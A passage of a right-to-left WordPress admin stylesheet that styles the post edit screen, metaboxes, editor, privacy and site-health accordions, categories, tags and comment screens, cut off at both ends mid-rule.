	margin-left: 4px;
	padding: 6px;
}

#post-status-select {
	margin-top: 3px;
}

body.post-type-wp_navigation div#minor-publishing,
body.post-type-wp_navigation .inline-edit-status {
	display: none;
}

/* Post Screen */

/* Only highlight drop zones when dragging and only in the 2 columns layout. */
.is-dragging-metaboxes .metabox-holder .postbox-container .meta-box-sortables {
	outline: 3px dashed #646970;
	/* Prevent margin on the child from collapsing with margin on the parent. */
	display: flow-root;
	/*
	 * This min-height is meant to limit jumpiness while dragging. It's equivalent
	 * to the minimum height of the sortable-placeholder which is given by the height
	 * of a collapsed post box (36px + 1px top and bottom borders) + the placeholder
	 * bottom margin (20px) + 2 additional pixels to compensate browsers rounding.
	 */
	min-height: 60px;
	margin-bottom: 20px;
}

.postbox {
	position: relative;
	min-width: 255px;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	background: #fff;
}

#trackback_url {
	width: 99%;
}

#normal-sortables .postbox .submit {
	background: transparent none;
	border: 0 none;
	float: left;
	padding: 0 12px;
	margin: 0;
}

.category-add input[type="text"],
.category-add select {
	width: 100%;
	max-width: 260px;
	vertical-align: baseline;
}

#side-sortables .category-add input[type="text"],
#side-sortables .category-add select {
	margin: 0 0 1em;
}

ul.category-tabs li,
#side-sortables .add-menu-item-tabs li,
.wp-tab-bar li {
	display: inline;
	line-height: 1.35;
}

.no-js .category-tabs li.hide-if-no-js {
	display: none;
}

.category-tabs a,
#side-sortables .add-menu-item-tabs a,
.wp-tab-bar a {
	text-decoration: none;
}

/* @todo: do these really need to be so specific? */
#side-sortables .category-tabs .tabs a,
#side-sortables .add-menu-item-tabs .tabs a,
.wp-tab-bar .wp-tab-active a,
#post-body ul.category-tabs li.tabs a,
#post-body ul.add-menu-item-tabs li.tabs a {
	color: #2c3338;
}

.category-tabs {
	margin: 8px 0 5px;
}

/* Back-compat for pre-4.4 */
#category-adder h4 {
	margin: 0;
}

.taxonomy-add-new {
	display: inline-block;
	margin: 10px 0;
	font-weight: 600;
}

#side-sortables .add-menu-item-tabs,
.wp-tab-bar {
	margin-bottom: 3px;
}

#normal-sortables .postbox #replyrow .submit {
	float: none;
	margin: 0;
	padding: 5px 7px 10px;
	overflow: hidden;
}

#side-sortables .submitbox .submit input,
#side-sortables .submitbox .submit .preview,
#side-sortables .submitbox .submit a.preview:hover {
	border: 0 none;
}

/* @todo: make this a more generic class */
ul.category-tabs,
ul.add-menu-item-tabs,
ul.wp-tab-bar {
	margin-top: 12px;
}

ul.category-tabs li,
ul.add-menu-item-tabs li {
	border: solid 1px transparent;
	position: relative;
}

ul.category-tabs li.tabs,
ul.add-menu-item-tabs li.tabs,
.wp-tab-active {
	border: 1px solid #dcdcde;
	border-bottom-color: #fff;
	background-color: #fff;
}

ul.category-tabs li,
ul.add-menu-item-tabs li,
ul.wp-tab-bar li {
	padding: 3px 5px 6px;
}

#set-post-thumbnail {
	display: inline-block;
	max-width: 100%;
}

#postimagediv .inside img {
	max-width: 100%;
	height: auto;
	width: auto;
	vertical-align: top;
	background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 100% 0, 10px 10px;
	background-size: 20px 20px;
}

form#tags-filter {
	position: relative;
}

/* Global classes */
.wp-hidden-children .wp-hidden-child,
.ui-tabs-hide {
	display: none;
}

#post-body .tagsdiv #newtag {
	margin-left: 5px;
	width: 16em;
}

#side-sortables input#post_password {
	width: 94%
}

#side-sortables .tagsdiv #newtag {
	width: 68%;
}

#post-status-info {
	width: 100%;
	border-spacing: 0;
	border: 1px solid #c3c4c7;
	border-top: none;
	background-color: #f6f7f7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	z-index: 999;
}

#post-status-info td {
	font-size: 12px;
}

.autosave-info {
	padding: 2px 10px;
	text-align: left;
}

#editorcontent #post-status-info {
	border: none;
}

#content-resize-handle {
	background: transparent url(../images/resize.gif) no-repeat scroll left bottom;
	width: 12px;
	cursor: row-resize;
}

/*rtl:ignore*/
.rtl #content-resize-handle {
	background-image: url(../images/resize-rtl.gif);
	background-position: left bottom;
}

.wp-editor-expand #content-resize-handle {
	display: none;
}

#postdivrich #content {
	resize: none;
}

#wp-word-count {
	padding: 2px 10px;
}

#wp-content-editor-container {
	position: relative;
}

.wp-editor-expand #wp-content-editor-tools {
	z-index: 1000;
	border-bottom: 1px solid #c3c4c7;
}

.wp-editor-expand #wp-content-editor-container {
	box-shadow: none;
	margin-top: -1px;
}

.wp-editor-expand #wp-content-editor-container {
	border-bottom: 0 none;
}

.wp-editor-expand div.mce-statusbar {
	z-index: 1;
}

.wp-editor-expand #post-status-info {
	border-top: 1px solid #c3c4c7;
}

.wp-editor-expand div.mce-toolbar-grp {
	z-index: 999;
}

/* TinyMCE native fullscreen mode override */
.mce-fullscreen #wp-content-wrap .mce-menubar,
.mce-fullscreen #wp-content-wrap .mce-toolbar-grp,
.mce-fullscreen #wp-content-wrap .mce-edit-area,
.mce-fullscreen #wp-content-wrap .mce-statusbar {
	position: static !important;
	width: auto !important;
	padding: 0 !important;
}

.mce-fullscreen #wp-content-wrap .mce-statusbar {
	visibility: visible !important;
}

.mce-fullscreen #wp-content-wrap .mce-tinymce .mce-wp-dfw {
	display: none;
}

.post-php.mce-fullscreen #wpadminbar,
.mce-fullscreen #wp-content-wrap .mce-wp-dfw {
	display: none;
}
/* End TinyMCE native fullscreen mode override */

#wp-content-editor-tools {
	background-color: #f0f0f1;
	padding-top: 20px;
}

#poststuff #post-body.columns-2 #side-sortables {
	width: 280px;
}

#timestampdiv select {
	vertical-align: top;
	font-size: 12px;
	line-height: 2.33333333; /* 28px */
}

#aa, #jj, #hh, #mn {
	padding: 6px 1px;
	font-size: 12px;
	line-height: 1.16666666; /* 14px */
}

#jj, #hh, #mn {
	width: 2em;
}

#aa {
	width: 3.4em;
}

.curtime #timestamp {
	padding: 2px 0 1px;
	display: inline !important;
	height: auto !important;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-uploadedby:before,
#post-body .misc-pub-uploadedto:before,
#post-body .misc-pub-revisions:before,
#post-body .misc-pub-response-to:before,
#post-body .misc-pub-comment-status:before {
	color: #8c8f94;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-uploadedby:before,
#post-body .misc-pub-uploadedto:before,
#post-body .misc-pub-revisions:before,
#post-body .misc-pub-response-to:before,
#post-body .misc-pub-comment-status:before {
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	margin-right: -1px;
	padding-left: 3px;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#post-body .misc-pub-post-status:before,
#post-body .misc-pub-comment-status:before {
	content: "\f173";
}

#post-body #visibility:before {
	content: "\f177";
}

.curtime #timestamp:before {
	content: "\f145";
	position: relative;
	top: -1px;
}

#post-body .misc-pub-uploadedby:before {
	content: "\f110";
	position: relative;
	top: -1px;
}

#post-body .misc-pub-uploadedto:before {
	content: "\f318";
	position: relative;
	top: -1px;
}

#post-body .misc-pub-revisions:before {
	content: "\f321";
}

#post-body .misc-pub-response-to:before {
	content: "\f101";
}

#timestampdiv {
	padding-top: 5px;
	line-height: 1.76923076;
}

#timestampdiv p {
	margin: 8px 0 6px;
}

#timestampdiv input {
	text-align: center;
}

.notification-dialog {
	position: fixed;
	top: 30%;
	max-height: 70%;
	right: 50%;
	width: 450px;
	margin-right: -225px;
	background: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	line-height: 1.5;
	z-index: 1000005;
	overflow-y: auto;
}

.notification-dialog-background {
	position: fixed;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 1000000;
}

#post-lock-dialog .post-locked-message,
#post-lock-dialog .post-taken-over {
	margin: 25px;
}

#post-lock-dialog .post-locked-message a.button,
#file-editor-warning .button {
	margin-left: 10px;
}

#post-lock-dialog .post-locked-avatar {
	float: right;
	margin: 0 0 20px 20px;
}

#post-lock-dialog .wp-tab-first {
	outline: 0;
}

#post-lock-dialog .locked-saving img {
	float: right;
	margin-left: 3px;
}

#post-lock-dialog.saving .locked-saving,
#post-lock-dialog.saved .locked-saved {
	display: inline;
}

#excerpt {
	display: block;
	margin: 12px 0 0;
	height: 4em;
	width: 100%;
}

.tagchecklist {
	margin-right: 14px;
	font-size: 12px;
	overflow: auto;
}

.tagchecklist br {
	display: none;
}

.tagchecklist strong {
	margin-right: -8px;
	position: absolute;
}

.tagchecklist > li {
	float: right;
	margin-left: 25px;
	font-size: 13px;
	line-height: 1.8;
	cursor: default;
	max-width: 100%;
	overflow: hidden;
	text-overflow: ellipsis;
}

.tagchecklist .ntdelbutton {
	position: absolute;
	width: 24px;
	height: 24px;
	border: none;
	margin: 0 -19px 0 0;
	padding: 0;
	background: none;
	cursor: pointer;
	text-indent: 0;
}

#poststuff h3.hndle, /* Back-compat for pre-4.4 */
#poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */
#poststuff h2 {
	font-size: 14px;
	padding: 8px 12px;
	margin: 0;
	line-height: 1.4;
}

#poststuff .stuffbox h2 {
	padding: 8px 10px;
}

#poststuff .stuffbox > h2 {
	border-bottom: 1px solid #f0f0f1;
}

#poststuff .inside {
	margin: 6px 0 0;
}

.link-php #poststuff .inside,
.link-add-php #poststuff .inside {
	margin-top: 12px;
}

#poststuff .stuffbox .inside {
	margin: 0;
}

#poststuff .inside #parent_id,
#poststuff .inside #page_template {
	max-width: 100%;
}

.post-attributes-label-wrapper {
	margin-bottom: 0.5em;
}

.post-attributes-label {
	vertical-align: baseline;
	font-weight: 600;
}

#post-visibility-select,
#comment-status-radio {
	line-height: 1.5;
	margin-top: 3px;
}

#linksubmitdiv .inside, /* Old Link Manager back-compat. */
#poststuff #submitdiv .inside {
	margin: 0;
	padding: 0;
}

#post-body-content,
.edit-form-section {
	margin-bottom: 20px;
}

.wp_attachment_details .attachment-content-description {
	margin-top: 0.5385em;
	display: inline-block;
	min-height: 1.6923em;
}

/**
* Privacy Settings section
*
* Note: This section includes selectors from
* Site Health where duplicate styling is used.
*/

/* General */
.privacy-settings #wpcontent,
.privacy-settings.auto-fold #wpcontent,
.site-health #wpcontent,
.site-health.auto-fold #wpcontent {
	padding-right: 0;
}

/* Better position for the WordPress admin notices. */
.privacy-settings .notice,
.site-health .notice {
	margin: 25px 22px 15px 20px;
}

.privacy-settings .notice ~ .notice,
.site-health .notice ~ .notice {
	margin-top: 5px;
}

/* Emulates .wrap h1 styling */
.privacy-settings-header h1,
.health-check-header h1 {
	display: inline-block;
	font-weight: 600;
	margin: 0 0.8rem 1rem;
	font-size: 23px;
	padding: 9px 0 4px;
	line-height: 1.3;
}

/* Header */
.privacy-settings-header,
.health-check-header {
	text-align: center;
	margin: 0 0 1rem;
	background: #fff;
	border-bottom: 1px solid #dcdcde;
}

.privacy-settings-title-section,
.health-check-title-section {
	display: flex;
	align-items: center;
	justify-content: center;
	clear: both;
	padding-top: 8px;
}

.privacy-settings-tabs-wrapper {
	/* IE 11 */
	display: -ms-inline-grid;
	-ms-grid-columns: 1fr 1fr;
	vertical-align: top;
	/* modern browsers */
	display: inline-grid;
	grid-template-columns: 1fr 1fr;
}

.privacy-settings-tab {
	display: block; /* IE 11 */
	text-decoration: none;
	color: inherit;
	padding: 0.5rem 1rem 1rem;
	margin: 0 1rem;
	transition: box-shadow 0.5s ease-in-out;
}

.privacy-settings-tab:nth-child(1),
.health-check-tab:nth-child(1) {
	-ms-grid-column: 1; /* IE 11 */
}

.privacy-settings-tab:nth-child(2),
.health-check-tab:nth-child(2) {
	-ms-grid-column: 2; /* IE 11 */
}

.privacy-settings-tab:focus,
.health-check-tab:focus {
	color: #1d2327;
	outline: 1px solid #787c82;
	box-shadow: none;
}

.privacy-settings-tab.active,
.health-check-tab.active {
	box-shadow: inset 0 -3px #3582c4;
	font-weight: 600;
}

/* Body */
.privacy-settings-body,
.health-check-body {
	max-width: 800px;
	margin: 0 auto;
}

.tools-privacy-policy-page th {
	min-width: 230px;
}

.hr-separator {
	margin-top: 20px;
	margin-bottom: 15px;
}

/* Accordions */
.privacy-settings-accordion,
.health-check-accordion {
	border: 1px solid #c3c4c7;
}

.privacy-settings-accordion-heading,
.health-check-accordion-heading {
	margin: 0;
	border-top: 1px solid #c3c4c7;
	font-size: inherit;
	line-height: inherit;
	font-weight: 600;
	color: inherit;
}

.privacy-settings-accordion-heading:first-child,
.health-check-accordion-heading:first-child {
	border-top: none;
}

.privacy-settings-accordion-trigger,
.health-check-accordion-trigger {
	background: #fff;
	border: 0;
	color: #2c3338;
	cursor: pointer;
	display: flex;
	font-weight: 400;
	margin: 0;
	padding: 1em 1.5em 1em 3.5em;
	min-height: 46px;
	position: relative;
	text-align: right;
	width: 100%;
	align-items: center;
	justify-content: space-between;
	-webkit-user-select: auto;
	user-select: auto;
}

.privacy-settings-accordion-trigger:hover,
.privacy-settings-accordion-trigger:active,
.health-check-accordion-trigger:hover,
.health-check-accordion-trigger:active {
	background: #f6f7f7;
}

.privacy-settings-accordion-trigger:focus,
.health-check-accordion-trigger:focus {
	color: #1d2327;
	border: none;
	box-shadow: none;
	outline-offset: -1px;
	outline: 2px solid #2271b1;
	background-color: #f6f7f7;
}

.privacy-settings-accordion-trigger .title,
.health-check-accordion-trigger .title {
	pointer-events: none;
	font-weight: 600;
	flex-grow: 1;
}

.privacy-settings-accordion-trigger .icon,
.privacy-settings-view-read .icon,
.health-check-accordion-trigger .icon,
.site-health-view-passed .icon {
	border: solid #50575e;
	border-width: 0 0 2px 2px;
	height: 0.5rem;
	pointer-events: none;
	position: absolute;
	left: 1.5em;
	top: 50%;
	transform: translateY(-70%) rotate(-45deg);
	width: 0.5rem;
}

.privacy-settings-accordion-trigger .badge,
.health-check-accordion-trigger .badge {
	padding: 0.1rem 0.5rem 0.15rem;
	color: #2c3338;
	font-weight: 600;
}

.privacy-settings-accordion-trigger .badge {
	margin-right: 0.5rem;
}

.privacy-settings-accordion-trigger .badge.blue,
.health-check-accordion-trigger .badge.blue {
	border: 1px solid #72aee6;
}

.privacy-settings-accordion-trigger .badge.orange,
.health-check-accordion-trigger .badge.orange {
	border: 1px solid #dba617;
}

.privacy-settings-accordion-trigger .badge.red,
.health-check-accordion-trigger .badge.red {
	border: 1px solid #e65054;
}

.privacy-settings-accordion-trigger .badge.green,
.health-check-accordion-trigger .badge.green {
	border: 1px solid #00ba37;
}

.privacy-settings-accordion-trigger .badge.purple,
.health-check-accordion-trigger .badge.purple {
	border: 1px solid #2271b1;
}

.privacy-settings-accordion-trigger .badge.gray,
.health-check-accordion-trigger .badge.gray {
	border: 1px solid #c3c4c7;
}

.privacy-settings-accordion-trigger[aria-expanded="true"] .icon,
.privacy-settings-view-passed[aria-expanded="true"] .icon,
.health-check-accordion-trigger[aria-expanded="true"] .icon,
.site-health-view-passed[aria-expanded="true"] .icon {
	transform: translateY(-30%) rotate(135deg)
}

.privacy-settings-accordion-panel,
.health-check-accordion-panel {
	margin: 0;
	padding: 1em 1.5em;
	background: #fff;
}

.privacy-settings-accordion-panel[hidden],
.health-check-accordion-panel[hidden] {
	display: none;
}

.privacy-settings-accordion-panel a .dashicons,
.health-check-accordion-panel a .dashicons {
	text-decoration: none;
}

.privacy-settings-accordion-actions {
	text-align: left;
	display: block;
}

.privacy-settings-accordion-actions .success {
	display: none;
	color: #007017;
	padding-left: 1em;
	padding-top: 6px;
}

.privacy-settings-accordion-actions .success.visible {
	display: inline-block;
}

/* Suggested text for privacy policy */
.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .wp-policy-help, /* For back-compat, see #49282 */
.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-policy-tutorial,
.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-text-copy {
	display: none;
}

.privacy-settings-accordion-panel strong.wp-policy-help, /* For back-compat, see #49282 */
.privacy-settings-accordion-panel strong.privacy-policy-tutorial {
	display: block;
	margin: 0 0 1em;
}

.privacy-text-copy span {
	pointer-events: none;
}

.privacy-settings-accordion-panel .wp-suggested-text > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),
.privacy-settings-accordion-panel .wp-suggested-text div > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),
.privacy-settings-accordion-panel > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),
.privacy-settings-accordion-panel div > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p) {
	margin: 0;
	padding: 1em;
	border-right: 2px solid #787c82;
}

/* Media queries */
@media screen and (max-width: 782px) {

	.privacy-settings-body,
	.health-check-body {
		margin: 0 12px;
		width: auto;
	}

	.privacy-settings .notice,
	.site-health .notice {
		margin: 5px 10px 15px;
	}

	.privacy-settings .update-nag,
	.site-health .update-nag {
		margin-left: 10px;
		margin-right: 10px;
	}

	input#create-page {
		margin-top: 10px;
	}

	.wp-core-ui button.privacy-text-copy {
		white-space: normal;
		line-height: 1.8;
	}
}

@media only screen and (max-width: 1004px) {

	.privacy-settings-body,
	.health-check-body {
		margin: 0 22px;
		width: auto;
	}
}

/**
* End Privacy Settings section
*/

/*------------------------------------------------------------------------------
  11.1 - Custom Fields
------------------------------------------------------------------------------*/

#postcustomstuff thead th {
	padding: 5px 8px 8px;
	background-color: #f0f0f1;
}

#postcustom #postcustomstuff .submit {
	border: 0 none;
	float: none;
	padding: 0 8px 8px;
}

#postcustom #postcustomstuff .add-custom-field {
	padding: 12px 8px 8px;
}

#side-sortables #postcustom #postcustomstuff .submit {
	margin: 0;
	padding: 0;
}

#side-sortables #postcustom #postcustomstuff #the-list textarea {
	height: 85px;
}

#side-sortables #postcustom #postcustomstuff td.left input,
#side-sortables #postcustom #postcustomstuff td.left select,
#side-sortables #postcustomstuff #newmetaleft a {
	margin: 3px 3px 0;
}

#postcustomstuff table {
	margin: 0;
	width: 100%;
	border: 1px solid #dcdcde;
	border-spacing: 0;
	background-color: #f6f7f7;
}

#postcustomstuff tr {
	vertical-align: top;
}

#postcustomstuff table input,
#postcustomstuff table select,
#postcustomstuff table textarea {
	width: 96%;
	margin: 8px;
}

#side-sortables #postcustomstuff table input,
#side-sortables #postcustomstuff table select,
#side-sortables #postcustomstuff table textarea {
	margin: 3px;
}

#postcustomstuff th.left,
#postcustomstuff td.left {
	width: 38%;
}

#postcustomstuff .submit input {
	margin: 0;
	width: auto;
}

#postcustomstuff #newmetaleft a,
#postcustomstuff #newmeta-button {
	display: inline-block;
	margin: 0 8px 8px;
	text-decoration: none;
}

.no-js #postcustomstuff #enternew {
	display: none;
}

#post-body-content .compat-attachment-fields {
	margin-bottom: 20px;
}

.compat-attachment-fields th {
	padding-top: 5px;
	padding-left: 10px;
}

/*------------------------------------------------------------------------------
  11.3 - Featured Images
------------------------------------------------------------------------------*/

#select-featured-image {
	padding: 4px 0;
	overflow: hidden;
}

#select-featured-image img {
	max-width: 100%;
	height: auto;
	margin-bottom: 10px;
}

#select-featured-image a {
	float: right;
	clear: both;
}

#select-featured-image .remove {
	display: none;
	margin-top: 10px;
}

.js #select-featured-image.has-featured-image .remove {
	display: inline-block;
}

.no-js #select-featured-image .choose {
	display: none;
}

/*------------------------------------------------------------------------------
  11.4 - Post formats
------------------------------------------------------------------------------*/

.post-format-icon::before {
	display: inline-block;
	vertical-align: middle;
	height: 20px;
	width: 20px;
	margin-top: -4px;
	margin-left: 7px;
	color: #dcdcde;
	font: normal 20px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

a.post-format-icon:hover:before {
	color: #135e96;
}

#post-formats-select {
	line-height: 2;
}

#post-formats-select .post-format-icon::before {
	top: 5px;
}

input.post-format {
	margin-top: 1px;
}

label.post-format-icon {
	margin-right: 0;
	padding: 2px 0;
}

.post-format-icon.post-format-standard::before {
	content: "\f109";
}

.post-format-icon.post-format-image::before {
	content: "\f128";
}

.post-format-icon.post-format-gallery::before {
	content: "\f161";
}

.post-format-icon.post-format-audio::before {
	content: "\f127";
}

.post-format-icon.post-format-video::before {
	content: "\f126";
}

.post-format-icon.post-format-chat::before {
	content: "\f125";
}

.post-format-icon.post-format-status::before {
	content: "\f130";
}

.post-format-icon.post-format-aside::before {
	content: "\f123";
}

.post-format-icon.post-format-quote::before {
	content: "\f122";
}

.post-format-icon.post-format-link::before {
	content: "\f103";
}

/*------------------------------------------------------------------------------
  12.0 - Categories
------------------------------------------------------------------------------*/

.category-adder {
	margin-right: 120px;
	padding: 4px 0;
}

.category-adder h4 {
	margin: 0 0 8px;
}

#side-sortables .category-adder {
	margin: 0;
}

.wp-tab-panel,
.categorydiv div.tabs-panel,
.customlinkdiv div.tabs-panel,
.posttypediv div.tabs-panel,
.taxonomydiv div.tabs-panel {
	min-height: 42px;
	max-height: 200px;
	overflow: auto;
	padding: 0 0.9em;
	border: solid 1px #dcdcde;
	background-color: #fff;
}

div.tabs-panel-active {
	display: block;
}

div.tabs-panel-inactive {
	display: none;
}

div.tabs-panel-active:focus {
	box-shadow: inset 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#front-page-warning,
#front-static-pages ul,
ul.export-filters,
.inline-editor ul.cat-checklist ul,
.categorydiv ul.categorychecklist ul,
.customlinkdiv ul.categorychecklist ul,
.posttypediv ul.categorychecklist ul,
.taxonomydiv ul.categorychecklist ul {
	margin-right: 18px;
}

ul.categorychecklist li {
	margin: 0;
	padding: 0;
	line-height: 1.69230769;
	word-wrap: break-word;
}

.categorydiv .tabs-panel,
.customlinkdiv .tabs-panel,
.posttypediv .tabs-panel,
.taxonomydiv .tabs-panel {
	border-width: 3px;
	border-style: solid;
}

.form-wrap label {
	display: block;
	padding: 2px 0;
}

.form-field input[type="text"],
.form-field input[type="password"],
.form-field input[type="email"],
.form-field input[type="number"],
.form-field input[type="search"],
.form-field input[type="tel"],
.form-field input[type="url"],
.form-field textarea {
	border-style: solid;
	border-width: 1px;
	width: 95%;
}

.form-field select,
.form-field p {
	max-width: 95%;
}

p.description,
.form-wrap p {
	margin: 2px 0 5px;
	color: #646970;
}

p.help,
p.description,
span.description,
.form-wrap p {
	font-size: 13px;
}

p.description code {
	font-style: normal;
}

.form-wrap .form-field {
	margin: 1em 0;
	padding: 0;
}

.col-wrap h2 {
	margin: 12px 0;
	font-size: 1.1em;
}

.col-wrap p.submit {
	margin-top: -10px;
}

.edit-term-notes {
	margin-top: 2em;
}

/*------------------------------------------------------------------------------
  13.0 - Tags
------------------------------------------------------------------------------*/

#poststuff .tagsdiv .ajaxtag {
	margin-top: 1em;
}

#poststuff .tagsdiv .howto {
	margin: 1em 0 6px;
}

.ajaxtag .newtag {
	position: relative;
}

.tagsdiv .newtag {
	width: 180px;
}

.tagsdiv .the-tags {
	display: block;
	height: 60px;
	margin: 0 auto;
	overflow: auto;
	width: 260px;
}

#post-body-content .tagsdiv .the-tags {
	margin: 0 5px;
}

p.popular-tags {
	border: none;
	line-height: 2em;
	padding: 8px 12px 12px;
	text-align: justify;
}

p.popular-tags a {
	padding: 0 3px;
}

.tagcloud {
	width: 97%;
	margin: 0 0 40px;
	text-align: justify;
}

.tagcloud h2 {
	margin: 2px 0 12px;
}

#poststuff .inside .the-tagcloud {
	margin: 5px 0 10px;
	padding: 8px;
	border: 1px solid #dcdcde;
	line-height: 1.2;
	word-spacing: 3px;
}

.the-tagcloud ul {
	margin: 0;
}

.the-tagcloud ul li {
	display: inline-block;
}

/* Back-compat styles from deprecated jQuery.suggest, see ticket #40260. */
.ac_results {
	display: none;
	margin: -1px 0 0;
	padding: 0;
	list-style: none;
	position: absolute;
	z-index: 10000;
	border: 1px solid #4f94d4;
	background-color: #fff;
}

.wp-customizer .ac_results {
	z-index: 500000;
}

.ac_results li {
	margin: 0;
	padding: 5px 10px;
	white-space: nowrap;
	text-align: right;
}

.ac_results .ac_over,
.ac_over .ac_match {
	background-color: #2271b1;
	color: #fff;
	cursor: pointer;
}

.ac_match {
	text-decoration: underline;
}

#addtag .spinner {
	float: none;
	vertical-align: top;
}

#edittag {
	max-width: 800px;
}

.edit-tag-actions {
	margin-top: 20px;
}

/* Comments */

.comment-php .wp-editor-area {
	height: 200px;
}

.comment-ays th,
.comment-ays td {
	padding: 10px 15px;
}

.comment-ays .comment-content ul {
	list-style: initial;
	margin-right: 2em;
}

.comment-ays .comment-content a[href]:after {
	content: "(" attr( href ) ")";
	display: inline-block;
	padding: 0 4px;
	color: #646970;
	font-size: 13px;
	word-break: break-all;
}

.comment-ays .comment-content p.edit-comment {
	margin-top: 10px;
}

.comment-ays .comment-content p.edit-comment a[href]:after {
	content: "";
	padding: 0;
}

.comment-ays-submit .button-cancel {
	margin-right: 1em;
}

.trash-undo-inside,
.spam-undo-inside {
	margin: 1px 0 1px 8px;
	line-height: 1.23076923;
}

.spam-undo-inside .avatar,
.trash-undo-inside .avatar {
	height: 20px;
	width: 20px;
	margin-left: 8px;
	vertical-align: middle;
}

.stuffbox .editcomment {
	clear: none;
	margin-top: 0;
}

#namediv.stuffbox .editcomment input {
	width: 100%;
}

#namediv.stuffbox .editcomment.form-table td {
	padding: 10px;
}

#comment-status-radio p {
	margin: 3px 0 5px;
}

#comment-status-radio input {
	margin: 2px 0 5px 3px;
	vertical-align: middle;
}

#comment-status-radio label {
	padding: 5px 0;
}

/* links tables */
table.links-table {
	width: 100%;
	border-spacing: 0;
}

.links-table th {
	font-weight: 400;
	text-align: right;
	vertical-align: top;
	min-width: 80px;
	width: 20%;
	word-wrap: break-word;
}

.links-table th,
.links-table td {
	padding: 5px 0;
}

.links-table td label {
	margin-left: 8px;
}

.links-table td input[type="text"],
.links-table td textarea {
	width: 100%;
}

.links-table #link_rel {
	max-width: 280px;
}

/* DFW 2
-------------------------------------------------------------- */

#qt_content_dfw {
	display: none;
}

.wp-editor-expand #qt_content_dfw {
	display: inline-block;
}

.focus-on .wrap > h1,
.focus-on .page-title-action,
.focus-on #wpfooter,
.focus-on .postbox-container > *,
.focus-on div.updated,
.focus-on div.error,
.focus-on div.notice,
.focus-on .update-nag,
.focus-on #wp-toolbar,
.focus-on #screen-meta-links,
.focus-on #screen-meta {
	opacity: 0;
	transition-duration: 0.6s;
	transition-property: opacity;
	transition-timing-function: ease-in-out;
}

.focus-on #wp-toolbar {
	opacity: 0.3;
}

.focus-off .wrap > h1,
.focus-off .page-title-action,
.focus-off #wpfooter,
.focus-off .postbox-container > *,
.focus-off div.updated,
.focus-off div.error,
.focus-off div.notice,
.focus-off .update-nag,
.focus-off #wp-toolbar,
.focus-off #screen-meta-links,
.focus-off #screen-meta {
	opacity: 1;
	transition-duration: 0.2s;
	transition-property: opacity;
	transition-timing-function: ease-in-out;
}

.focus-off #wp-toolbar {
	-webkit-transform: translate(0, 0);
}

.focus-on #adminmenuback,
.focus-on #adminmenuwrap {
	transition-duration: 0.6s;
	transition-property: transform;
	transition-timing-function: ease-in-out;
}

.focus-on #adminmenuback,
.focus-on #adminmenuwrap {
	transform: translateX( 100% );
}

.focus-off #adminmenuback,
.focus-off #adminmenuwrap {
	transform: translateX( 0 );
	transition-duration: 0.2s;
	transition-property: transform;
	transition-timing-function: ease-in-out;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	#content-resize-handle,
	#post-body .wp_themeSkin .mceStatusbar a.mceResize {
		background: transparent url(../images/resize-2x.gif) no-repeat scroll left bottom;
		background-size: 11px 11px;
	}

	/*rtl:ignore*/
	.rtl #content-resize-handle,
	.rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize {
		background-image: url(../images/resize-rtl-2x.gif);
		background-position: left bottom;
	}
}

/*
 * The edit attachment screen auto-switches to one column layout when the
 * viewport is smaller than 1200 pixels.
 */
@media only screen and (max-width: 1200px) {
	.post-type-attachment #poststuff {
		min-width: 0;
	}

	.post-type-attachment #wpbody-content #poststuff #post-body {
		margin: 0;
	}

	.post-type-attachment #wpbody-content #post-body.columns-2 #postbox-container-1 {
		margin-left: 0;
		width: 100%;
	}

	.post-type-attachment #poststuff #postbox-container-1 .empty-container,
	.post-type-attachment #poststuff #postbox-container-1 #side-sortables:empty {
		outline: none;
		height: 0;
		min-height: 0;
	}

	.post-type-attachment #poststuff #post-body.columns-2 #side-sortables {
		min-height: 0;
		width: auto;
	}

	.is-dragging-metaboxes.post-type-attachment #post-body .meta-box-sortables {
		outline: none;
		min-height: 0;
		margin-bottom: 0;
	}

	/* hide the radio buttons for column prefs */
	.post-type-attachment .screen-layout,
	.post-type-attachment .columns-prefs {
		display: none;
	}
}

/* one column on the post write/edit screen */
@media only screen and (max-width: 850px) {
	#poststuff {
		min-width: 0;
	}

	#wpbody-content #poststuff #post-body {
		margin: 0;
	}

	#wpbody-content #post-body.columns-2 #postbox-container-1 {
		margin-left: 0;
		width: 100%;
	}

	#poststuff #postbox-container-1 .empty-container,
	#poststuff #postbox-container-1 #side-sortables:empty {
